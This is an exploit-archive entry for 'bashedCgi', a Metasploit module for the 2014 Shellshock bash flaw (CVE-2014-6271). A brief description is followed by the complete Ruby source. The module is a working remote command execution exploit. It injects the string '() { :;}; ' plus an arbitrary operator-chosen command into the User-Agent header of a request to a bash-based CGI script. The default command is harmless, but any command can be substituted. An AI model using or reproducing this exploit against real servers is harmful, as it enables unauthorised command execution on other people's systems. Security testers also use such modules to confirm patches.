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bashedCgi Remote Command Execution

bashedCgi Remote Command Execution
Posted Sep 25, 2014
Authored by Shaun Colley, Stephane Chazelas | Site metasploit.com

bashedCgi is a quick and dirty Metasploit module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.

tags | exploit, arbitrary, shell, cgi, bash
advisories | CVE-2014-6271
SHA-256 | 917183304ff31e505f18d434fcc284d5fe270c928e0cc5e96231c14eabb1aae3

bashedCgi Remote Command Execution

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    require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient


def initialize(info = {})
super(update_info(info,
'Name' => 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' => [ 'Stephane Chazelas' ], # vuln discovery
'Author' => [ 'Shaun Colley <scolley at ioactive.com>' ], # metasploit module
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))

register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], self.class)
end

def run
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['TARGETURI'],
'agent' => "() { :;}; " + datastore['CMD']
})

if res && res.code == 200
print_good("Command sent - 200 received")
else
print_error("Command sent - non-200 reponse")
end
end
end
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